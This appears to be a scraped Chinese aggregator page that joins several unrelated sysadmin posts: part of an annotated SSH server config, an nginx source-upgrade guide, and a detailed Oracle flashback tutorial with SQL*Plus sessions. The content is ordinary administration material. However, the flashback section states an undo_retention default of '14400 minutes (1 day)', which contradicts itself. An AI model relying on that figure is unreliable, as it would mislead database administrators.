             # 有僵尸程序的发生!
UsePrivilegeSeparation yes # 使用者的权限设定项目!就设定为 yes 吧!
MaxStartups 10      # 同时允许几个尚未登入的联机画面?当我们连上 SSH ,
             # 但是尚未输入密码时,这个时候就是我们所谓的联机画面啦!
             # 在这个联机画面中,为了保护主机,所以需要设定最大值,
             # 预设最多十个联机画面,而已经建立联机的不计算在这十个当中
# 4.6 关于使用者抵挡的设定项目:
DenyUsers *        # 设定受抵挡的使用者名称,如果是全部的使用者,那就是全部
             # 挡吧!若是部分使用者,可以将该账号填入!例如下列!
DenyUsers test
DenyGroups test      # 与 DenyUsers 相同!仅抵挡几个群组而已!
# 5. 关于 SFTP 服务的设定项目!
Subsystem       sftp    /usr/lib/ssh/sftp-server
————————————————
版权声明:本文为CSDN博主「iteye_5495」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/iteye_5495/article/details/82676449

Lumanager2 升级nginx-1.16.1以应用漏洞BUG

$
0
0
您所在的组无权查看该日志

nginx 版本升级

$
0
0

nginx 版本升级


1.使用/usr/local/nginx/sbin/nginx -V查看当前版本和配置

[root@KW-GED-YX-M servertest]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.5.7
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) 
TLS SNI support enabled

configure arguments: --error-log-path=/usr/local/nginx/logs/error.log --http-log-path=/usr/local/nginx/logs/access.log --pid-path=/usr/local/nginx/logs/nginx.pid --lock-path=/usr/local/nginx/logs/nginx.lock --sbin-path=/usr/local/nginx/sbin/nginx --conf-path=/usr/local/nginx/conf/nginx.conf --with-http_ssl_module --with-pcre=../pcre-8.33 --add-module=../nginx-upload-module-2.2 --add-module=../nginx_tcp_proxy_module-master --with-http_auth_request_module


Lumanager自己的路查看nginx 版本信息如下:

[root@iZ28seu98swZ cmd]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.0.15
built by gcc 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) 
TLS SNI support enabled
configure arguments: --prefix=/usr/local/nginx --with-pcre=../pcre-8.10 --with-openssl=../openssl-1.0.1c --add-module=../ngx_cache_purge-1.3 --with-http_stub_status_module --with-http_ssl_module --with-http_gzip_static_module


编译软件时,需要将对应的openssl, pcre 源码包解压到参数对应的目录里面,才可以安装软件。


2.下载要添加的模块

下载pcre

wget http://ftp.exim.llorien.org/pcre/pcre-8.33.tar.gz

tar -xvf pcre-8.33.tar.gz

 

下载nginx upload插件

wget https://github.com/Austinb/nginx-upload-module/archive/2.2.zip

unzip 2.2

解压出nginx-upload-module-2.2

该地址下载的模块支持nginx1.11以后版本。

3.升级nginx

wget http://nginx.org/download/nginx-1.12.0.tar.gz

tar -xvf nginx-1.12.0.tar.gz

cd nginx-1.12.0


3.1安装检测

./configure  \

--error-log-path=/usr/local/nginx/logs/error.log \

--http-log-path=/usr/local/nginx/logs/access.log \

--pid-path=/usr/local/nginx/logs/nginx.pid \

--lock-path=/usr/local/nginx/logs/nginx.lock \

--sbin-path=/usr/local/nginx/sbin/nginx \

--conf-path=/usr/local/nginx/conf/nginx.conf \

--with-http_ssl_module \

--with-pcre=../pcre-8.33 \

--add-module=../nginx-upload-module-2.2 \

--with-http_auth_request_module \

--with-http_stub_status_module \

--with-http_ssl_module \

--with-file-aio \

--with-threads


3.2 make

 
3.3备份sbin目录下的nginx文件

cd /usr/local/nginx/sbin/

cp nginx nginx.old


3.4复制新的nginx文件

cd /path-to-nginx/nginx-1.12.0

cp objs/nginx /usr/local/nginx/sbin/


3.5 make upgrade
3.6 检查升级是否成功

[root@KW-GED-YXUP-test logs]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.12.0
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) 
built with OpenSSL 1.0.0-fips 29 Mar 2010
TLS SNI support enabled
configure arguments: --error-log-path=/usr/local/nginx/logs/error.log --http-log-path=/usr/local/nginx/logs/access.log --pid-path=/usr/local/nginx/logs/nginx.pid --lock-path=/usr/local/nginx/logs/nginx.lock --sbin-path=/usr/local/nginx/sbin/nginx --conf-path=/usr/local/nginx/conf/nginx.conf --with-http_ssl_module --with-pcre=../pcre-8.33 --add-module=../nginx-upload-module-2.2 --with-http_auth_request_module --with-http_stub_status_module --with-http_ssl_module --with-file-aio --with-threads

oracle 闪回详解

$
0
0

Oracle 9i 开始支持闪回,Oracle10g开始全面支持闪回功能,Oracle11g有所完善,为大家快速的恢复数据,查询历史数据提供了很大的便捷方法。

本文主要对Oracle常用闪回使用做些详细介绍,其中对于不常用的事务和版本闪回,这里就不做介绍

一、Oracle闪回概述

闪回级别闪回场景闪回技术对象依赖影响数据
数据库表截断、逻辑错误、其他多表意外事件闪回DATABASE闪回日志、undo
DROP删除表闪回DROP回收站(recyclebin)
更新、删除、插入记录闪回TABLE还原数据,undo
查询当前数据和历史数据对比闪回QUERY还原数据,undo
版本查询比较行版本闪回Version Query还原数据,undo
事务查询比较闪回Transaction Query还原数据,undo
归档DDL、DML闪回Archive归档日志
     

 

 

 

 

 

 

 

  

 

 二、Oracle闪回使用详解

1、闪回开启
(1)开启闪回必要条件

a.开启归档日志

复制代码
SQL> archive log list;
Database log mode Archive Mode
Automatic archival Enabled
Archive destination /home/U01/app/oracle/oradata/testdb/arch
Oldest online log sequence 844
Next log sequence to archive 846
Current log sequence 846

##如未开启,在mount状态执行alter database archivelog;
复制代码

b.设置合理的闪回区

db_recovery_file_dest:指定闪回恢复区的位置
db_recovery_file_dest_size:指定闪回恢复区的可用空间大小
db_flashback_retention_target:指定数据库可以回退的时间,单位为分钟,默认1440分钟(1天),实际取决于闪回区大小
(2)检查是否开启闪回

SQL> select flashback_on from v$database;
FLASHBACK_ON
------------------
NO

(3)开启闪回

a.开启归档

mount状态:alter database archivelog;

b.设置闪回区

SQL> alter system set db_recovery_file_dest='/home/U01/app/oracle/fast_recovery_area' scope=both;
System altered.
SQL> alter system set db_recovery_file_dest_size=60G scope=both;
System altered.
SQL> alter system set db_flashback_retention_target=4320 scope=both;
System altered.    

c.开启flashback (10g在mount开启)

SQL> alter database flashback on;
Database altered.

(4)确定闪回开启

SQL> select flashback_on from v$database;
FLASHBACK_ON
------------------
YES    

(5)关闭闪回

SQL> alter database flashback off;
Database altered.

2、闪回使用

(1)闪回查询
闪回查询主要是根据Undo表空间数据进行多版本查询,针对v$和x$动态性能视图无效,但对DBA_、ALL_、USER_是有效的
a.闪回查询
允许用户查询过去某个时间点的数据,用以重构由于意外删除或更改的数据,数据不会变化。

复制代码
SQL> select * from scott.dept;
DEPTNO DNAME LOC
---------- -------------- -------------
10 ACCOUNTING NEW YORK
20 RESEARCH DALLAS
30 SALES CHICAGO
40 OPERATIONS BOSTON
SQL> delete from scott.dept where deptno=40;
1 row deleted.
SQL> commit;
Commit complete.
SQL> select * from scott.dept as of timestamp sysdate-10/1440;

DEPTNO DNAME LOC
---------- -------------- -------------
10 ACCOUNTING NEW YORK
20 RESEARCH DALLAS
30 SALES CHICAGO
40 OPERATIONS BOSTON
SQL> select * from scott.dept as of timestamp to_timestamp('2017-12-14 16:20:00','yyyy-mm-dd hh24:mi:ss');

DEPTNO DNAME LOC
---------- -------------- -------------
10 ACCOUNTING NEW YORK
20 RESEARCH DALLAS
30 SALES CHICAGO
40 OPERATIONS BOSTON

SQL> select * from scott.dept as of scn 16801523;

DEPTNO DNAME LOC
---------- -------------- -------------
10 ACCOUNTING NEW YORK
20 RESEARCH DALLAS
30 SALES CHICAGO
40 OPERATIONS BOSTON
复制代码

b.闪回版本查询

用于查询行级数据库随时间变化的方法

c.闪回事务查询
用于提供查看事务级别数据库变化的方法

(2)闪回表(update/insert/delete)
闪回表就是对表的数据做回退,回退到之前的某个时间点,其利用的是undo的历史数据,与undo_retention设置有关,默认是14400分钟(1天)
同样,sys用户表空间不支持闪回表,要想表闪回,需要允许表启动行迁移(row movement)
闪回表示例:

复制代码
SQL> flashback table scott.dept to timestamp to_timestamp('2017-12-14 16:20:00','yyyy-mm-dd hh24:mi:ss');
flashback table scott.dept to timestamp to_timestamp('2017-12-14 16:20:00','yyyy-mm-dd hh24:mi:ss')
ERROR at line 1:
ORA-08189: cannot flashback the table because row movement is not enabled

SQL> select row_movement from dba_tables where table_name='DEPT' and owner='SCOTT';
ROW_MOVE
--------
DISABLED
SQL> alter table scott.dept enable row movement;
Table altered.

SQL> flashback table scott.dept to timestamp to_timestamp('2017-12-14 16:20:00','yyyy-mm-dd hh24:mi:ss');
Flashback complete.
SQL> select * from scott.dept;
DEPTNO DNAME LOC
---------- -------------- -------------
10 ACCOUNTING NEW YORK
20 RESEARCH DALLAS
30 SALES CHICAGO
40 OPERATIONS BOSTON    
SQL> alter table scott.dept disable row movement;
Table altered.
复制代码

(3)闪回DROP(drop table)

当一个表被drop掉,表会被放入recyclebin回收站,可通过回收站做表的闪回。表上的索引、约束等同样会被恢复
不支持sys/system用户表空间对象,可通过alter system set recyclebin=off;关闭回收站功能
闪回DROP示例:

复制代码
SQL> select * from t ;

ID NAME
---------- ---------------------------------------
1
2
3
4
30

SQL> drop table t;

Table dropped.

SQL> show recyclebin;
ORIGINAL NAME RECYCLEBIN NAME OBJECT TYPE DROP TIME
---------------- ------------------------------ ------------ -------------------
T BIN$YEh2QcvZdJLgUxyAgQpnVQ==$0 TABLE 2017-12-14:15:02:06
SQL> flashback table t to before drop;

Flashback complete.

SQL> select * from t;

ID NAME
---------- -------------------------------------
1
2
3
4
30    
复制代码

备注:即使不开始flashback,只要开启了recyclebin,那么就可以闪回DROP表。

但如果连续覆盖,就需要指定恢复的表名,如果已经存在表,则需要恢复重命名。

复制代码
SQL> show recyclebin;
ORIGINAL NAME RECYCLEBIN NAME OBJECT TYPE DROP TIME
---------------- ------------------------------ ------------ -------------------
T BIN$YEh2QcvddJLgUxyAgQpnVQ==$0 TABLE 2017-12-14:15:07:54
T BIN$YEh2QcvcdJLgUxyAgQpnVQ==$0 TABLE 2017-12-14:15:07:27
SQL> flashback table "BIN$YEh2QcvcdJLgUxyAgQpnVQ==$0" to before drop ;
Flashback complete.
SQL> show recyclebin;
ORIGINAL NAME RECYCLEBIN NAME OBJECT TYPE DROP TIME
---------------- ------------------------------ ------------ -------------------
T BIN$YEh2QcvddJLgUxyAgQpnVQ==$0 TABLE 2017-12-14:15:07:54
SQL> flashback table t to before drop rename to tt;
Flashback complete.
复制代码

(4)闪回数据库(truncate/多表数据变更)

数据库闪回必须在mounted状态下进行,基于快照的可以再open下进行闪回库
闪回数据库主要是将数据库还原值过去的某个时间点或SCN,用于数据库出现逻辑错误时,需要open database resetlogs
a.全库闪回
数据库闪回示例

复制代码
SQL> select * from scott.EMP;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
---------- ---------- --------- ---------- ------------------- ---------- ---------- ----------
7369 SMITH CLERK 7902 1980-12-17 00:00:00 800 20
7499 ALLEN SALESMAN 7698 1981-02-20 00:00:00 1600 300 30
7521 WARD SALESMAN 7698 1981-02-22 00:00:00 1250 500 30
7566 JONES MANAGER 7839 1981-04-02 00:00:00 2975 20
7654 MARTIN SALESMAN 7698 1981-09-28 00:00:00 1250 1400 30
7698 BLAKE MANAGER 7839 1981-05-01 00:00:00 2850 30
7782 CLARK MANAGER 7839 1981-06-09 00:00:00 2450 10
7788 SCOTT ANALYST 7566 1987-04-19 00:00:00 3000 20
7839 KING PRESIDENT 1981-11-17 00:00:00 5000 10
7844 TURNER SALESMAN 7698 1981-09-08 00:00:00 1500 0 30
7876 ADAMS CLERK 7788 1987-05-23 00:00:00 1100 20
7900 JAMES CLERK 7698 1981-12-03 00:00:00 950 30
7902 FORD ANALYST 7566 1981-12-03 00:00:00 3000 20
7934 MILLER CLERK 7782 1982-01-23 00:00:00 1300 10

14 rows selected.

SQL> truncate table scott.EMP;

Table truncated.
SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup mount;
ORACLE instance started.

Total System Global Area 9.4067E+10 bytes
Fixed Size 2263936 bytes
Variable Size 9395242112 bytes
Database Buffers 8.4557E+10 bytes
Redo Buffers 112766976 bytes
Database mounted.
SQL> flashback database to timestamp to_timestamp('2017-12-14 14:12:46','yyyy-mm-dd HH24:MI:SS');

Flashback complete.
SQL> alter database open resetlogs;

Database altered.

SQL> select * from scott.emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
---------- ---------- --------- ---------- ------------------- ---------- ---------- ----------
7369 SMITH CLERK 7902 1980-12-17 00:00:00 800 20
7499 ALLEN SALESMAN 7698 1981-02-20 00:00:00 1600 300 30
7521 WARD SALESMAN 7698 1981-02-22 00:00:00 1250 500 30
7566 JONES MANAGER 7839 1981-04-02 00:00:00 2975 20
7654 MARTIN SALESMAN 7698 1981-09-28 00:00:00 1250 1400 30
7698 BLAKE MANAGER 7839 1981-05-01 00:00:00 2850 30
7782 CLARK MANAGER 7839 1981-06-09 00:00:00 2450 10
7788 SCOTT ANALYST 7566 1987-04-19 00:00:00 3000 20
7839 KING PRESIDENT 1981-11-17 00:00:00 5000 10
7844 TURNER SALESMAN 7698 1981-09-08 00:00:00 1500 0 30
7876 ADAMS CLERK 7788 1987-05-23 00:00:00 1100 20
7900 JAMES CLERK 7698 1981-12-03 00:00:00 950 30
7902 FORD ANALYST 7566 1981-12-03 00:00:00 3000 20
7934 MILLER CLERK 7782 1982-01-23 00:00:00 1300 10

14 rows selected.
复制代码

b.快照闪回

 针对主库和备库都可以创建闪回快照点,然后恢复到指定的快照点,但主库一旦恢复到快照点,备库的同步则需要重新同步

复制代码
SQL> select * from scott.dept;

    DEPTNO DNAME          LOC           ADDR
---------- -------------- ------------- ------------------------------
        10 ACCOUNTING     NEW YORK
        20 RESEARCH       DALLAS
        30 SALES          CHICAGO
        
SQL> create restore point before_201712151111 guarantee flashback database;
Restore point created.

SQL> create table scott.t as select * from scott.dept;
Table created.

SQL> truncate table scott.t;
Table truncated.
SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup mount;
ORACLE instance started.

Total System Global Area 9.4067E+10 bytes
Fixed Size                  2263936 bytes
Variable Size            9663677568 bytes
Database Buffers         8.4289E+10 bytes
Redo Buffers              112766976 bytes
Database mounted.
SQL> flashback database to restore point before_201712151111;
Flashback complete.
SQL> alter database open resetlogs;
Database altered.

此时主库scott.t已不存在:
SQL> select * from scott.t;
select * from scott.t
                    *
ERROR at line 1:
ORA-00942: table or view does not exist
此时从库的scott.依旧存在,主备同步终止
解决方案:在主库创建快照时间点,从库自动停止应用日志,等主库闪回后,重新应用日志即可。
如果已经做了上述操作,从库可以选择重建
ALTER DATABASE REGISTER LOGFILE '/xx/xx/archive.dbf';
复制代码

 c.闪回snapshot standby

此功能在11GR2非常实用,可自动创建闪回点、开启闪回日志,可完成线上数据测试后,然后做数据库闪回恢复主备关系

复制代码
select scn, STORAGE_SIZE ,to_char(time,'yyyy-mm-dd hh24:mi:ss') time,NAME from v$restore_point;
select database_role,open_mode,db_unique_name,flashback_on from v$database;

SQL> set line 200;
SQL> set pagesize 2000;
SQL> select database_role,open_mode,db_unique_name,flashback_on from v$database;

DATABASE_ROLE    OPEN_MODE            DB_UNIQUE_NAME                 FLASHBACK_ON
---------------- -------------------- ------------------------------ ------------------
PHYSICAL STANDBY READ ONLY            testdbms                       NO


SQL> ALTER DATABASE CONVERT TO SNAPSHOT STANDBY;  

Database altered.

SQL> select database_role,open_mode,db_unique_name,flashback_on from v$database;

DATABASE_ROLE    OPEN_MODE            DB_UNIQUE_NAME                 FLASHBACK_ON
---------------- -------------------- ------------------------------ ------------------
SNAPSHOT STANDBY MOUNTED              testdbms                       RESTORE POINT ONLY

SQL> alter database open;

Database altered.

SQL> select open_mode from v$database;

OPEN_MODE
--------------------
READ WRITE


此时备库操作:
SQL> select * from scott.emp;

     EMPNO ENAME      JOB              MGR HIREDATE                   SAL       COMM     DEPTNO
---------- ---------- --------- ---------- ------------------- ---------- ---------- ----------
      7369 SMITH      CLERK           7902 1980-12-17 00:00:00        800                    20
      7499 ALLEN      SALESMAN        7698 1981-02-20 00:00:00       1600        300         30
      7521 WARD       SALESMAN        7698 1981-02-22 00:00:00       1250        500         30
      7566 JONES      MANAGER         7839 1981-04-02 00:00:00       2975                    20
      7654 MARTIN     SALESMAN        7698 1981-09-28 00:00:00       1250       1400         30
      7698 BLAKE      MANAGER         7839 1981-05-01 00:00:00       2850                    30
      7782 CLARK      MANAGER         7839 1981-06-09 00:00:00       2450                    10
      7788 SCOTT      ANALYST         7566 1987-04-19 00:00:00       3000                    20
      7839 KING       PRESIDENT            1981-11-17 00:00:00       5000                    10
      7844 TURNER     SALESMAN        7698 1981-09-08 00:00:00       1500          0         30
      7876 ADAMS      CLERK           7788 1987-05-23 00:00:00       1100                    20
      7900 JAMES      CLERK           7698 1981-12-03 00:00:00        950                    30
      7902 FORD       ANALYST         7566 1981-12-03 00:00:00       3000                    20
      7934 MILLER     CLERK           7782 1982-01-23 00:00:00       1300                    10

14 rows selected.

SQL> truncate table scott.emp;

Table truncated.

主库操作:
SQL> create table scott.t as select * from scott.dept;

Table created.

SQL> select * from scott.t;

    DEPTNO DNAME          LOC           ADDR
---------- -------------- ------------- ------------------------------
        10 ACCOUNTING     NEW YORK
        20 RESEARCH       DALLAS
        30 SALES          CHICAGO

备库恢复到物理standby
SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup mount;
ORACLE instance started.

Total System Global Area 9.4067E+10 bytes
Fixed Size                  2263936 bytes
Variable Size            9663677568 bytes
Database Buffers         8.4289E+10 bytes
Redo Buffers              112766976 bytes
Database mounted.
SQL> ALTER DATABASE CONVERT TO PHYSICAL STANDBY; 

Database altered.
SQL> shutdown immediate;
ORA-01507: database not mounted


ORACLE instance shut down.
SQL> startup ;
ORACLE instance started.

Total System Global Area 9.4067E+10 bytes
Fixed Size                  2263936 bytes
Variable Size            9663677568 bytes
Database Buffers         8.4289E+10 bytes
Redo Buffers              112766976 bytes
Database mounted.
Database opened.

##此时备库的数据已经恢复到转变snapshot standby时间点
SQL> select database_role,open_mode,db_unique_name,flashback_on from v$database;

DATABASE_ROLE    OPEN_MODE            DB_UNIQUE_NAME                 FLASHBACK_ON
---------------- -------------------- ------------------------------ ------------------
PHYSICAL STANDBY READ ONLY            testdbms                       NO

SQL>  select * from scott.emp;

     EMPNO ENAME      JOB              MGR HIREDATE                   SAL       COMM     DEPTNO
---------- ---------- --------- ---------- ------------------- ---------- ---------- ----------
      7369 SMITH      CLERK           7902 1980-12-17 00:00:00        800                    20
      7499 ALLEN      SALESMAN        7698 1981-02-20 00:00:00       1600        300         30
      7521 WARD       SALESMAN        7698 1981-02-22 00:00:00       1250        500         30
      7566 JONES      MANAGER         7839 1981-04-02 00:00:00       2975                    20
      7654 MARTIN     SALESMAN        7698 1981-09-28 00:00:00       1250       1400         30
      7698 BLAKE      MANAGER         7839 1981-05-01 00:00:00       2850                    30
      7782 CLARK      MANAGER         7839 1981-06-09 00:00:00       2450                    10
      7788 SCOTT      ANALYST         7566 1987-04-19 00:00:00       3000                    20
      7839 KING       PRESIDENT            1981-11-17 00:00:00       5000                    10
      7844 TURNER     SALESMAN        7698 1981-09-08 00:00:00       1500          0         30
      7876 ADAMS      CLERK           7788 1987-05-23 00:00:00       1100                    20
      7900 JAMES      CLERK           7698 1981-12-03 00:00:00        950                    30
      7902 FORD       ANALYST         7566 1981-12-03 00:00:00       3000                    20
      7934 MILLER     CLERK           7782 1982-01-23 00:00:00       1300                    10

14 rows selected.


SQL> alter database recover managed standby database using current logfile disconnect;

Database altered.

SQL> select * from scott.t;

    DEPTNO DNAME          LOC           ADDR
---------- -------------- ------------- ------------------------------
        10 ACCOUNTING     NEW YORK
        20 RESEARCH       DALLAS
        30 SALES          CHICAGO

        
SQL>  select database_role,open_mode,db_unique_name,flashback_on from v$database;

DATABASE_ROLE    OPEN_MODE            DB_UNIQUE_NAME                 FLASHBACK_ON
---------------- -------------------- ------------------------------ ------------------
PHYSICAL STANDBY READ ONLY WITH APPLY testdbms                       NO
        
复制代码

(5)闪回归档(增加、修改、重命名、删除表的列、truncate表、修改表的约束、以及修改分区表的分区规范)

 

3、闪回注意事项
(1)数据库闪回需要在mounted下进行,并且open时需要使用resetlogs
(2)闪回DROP只能用于非系统表空间和本地管理的表空间,外键约束无法恢复,对方覆盖、重命名需注意
(3)表DROP,对应的物化视图会被彻底删除,物化视图不会存放在recyclebin里
(4)闪回表,如果在做过dml,然后进行了表结构修改、truncate等DDL操作,新增/删除结构无法做闪回
(5)闪回归档,必须在assm管理tablespace和undo auto管理下进行
(6)注意闪回区管理,防止磁盘爆满,闪回区空间不足等

(7)主库做库的闪回,会影响备库,需要重新同步
(8)snapshot standby 不支持最高保护模式

三、备注
1、相关数据字典

V$FLASHBACK_DATABASE_LOG ##查看数据库可闪回的时间点/SCN等信息
V$flashback_database_stat ##查看闪回日志空间记录信息
2、常用查询语句
(1)查看数据库状态

SQL> select NAME,OPEN_MODE ,DATABASE_ROLE,CURRENT_SCN,FLASHBACK_ON from v$database;

NAME OPEN_MODE DATABASE_ROLE CURRENT_SCN FLASHBACK_ON
------------- -------------------- ---------------- ----------- ------------------
TESTDB READ WRITE PRIMARY 16812246 YES

(2)获取当前数据库的系统时间和SCN

 

SQL> select to_char(systimestamp,'yyyy-mm-dd HH24:MI:SS') as sysdt , dbms_flashback.get_system_change_number scn from dual;

SYSDT SCN
------------------- ----------
2017-12-14 14:28:33 16813234

(3)查看数据库可恢复的时间点

SQL> select * from V$FLASHBACK_DATABASE_LOG;

OLDEST_FLASHBACK_SCN OLDEST_FLASHBACK_TI RETENTION_TARGET FLASHBACK_SIZE ESTIMATED_FLASHBACK_SIZE
-------------------- ------------------- ---------------- -------------- ------------------------
16801523 2017-12-14 11:35:05 4320 104857600 244113408

(4)查看闪回日志空间情况

SQL> select * from V$flashback_database_stat;
BEGIN_TIME END_TIME FLASHBACK_DATA DB_DATA REDO_DATA ESTIMATED_FLASHBACK_SIZE
------------------- ------------------- -------------- ---------- ---------- ------------------------
2017-12-14 14:34:53 2017-12-14 14:56:43 1703936 9977856 1487872 0    

(5)SCN和timestamp装换关系查询

select scn,to_char(time_dp,'yyyy-mm-dd hh24:mi:ss')from sys.smon_scn_time;

(6)查看闪回restore_point

select scn, STORAGE_SIZE ,to_char(time,'yyyy-mm-dd hh24:mi:ss') time,NAME from v$restore_point;

(7)闪回语句

a.闪回数据库
  FLASHBACK DATABASE TO TIMESTAMP to_timestamp('2017-12-14 14:28:33','yyyy-mm-dd HH24:MI:SS');;
  flashback database to scn 16813234;
b.闪回DROP
其中table_name可以是删除表名称,也可以是别名
  flashback table table_name to before drop;
  flashback table table_name to before drop rename to table_name_new;
c.闪回表
  flashback table table_name to scn scn_number;
  flashback table table_name to timestamp to_timestamp('2017-12-14 14:28:33','yyyy-mm-dd hh24:mi:ss');
d.闪回查询
  select * from table_name as of timestamp to_timestamp('2017-12-14 14:28:33','yyyy-mm-dd hh24:mi:ss');
  select * from scott.dept as of scn 16801523;

e.闪回快照

  create restore point before_201712151111 guarantee flashback database;

  flashback database to restore point before_201712151111;

Viewing all 780 articles
Browse latest View live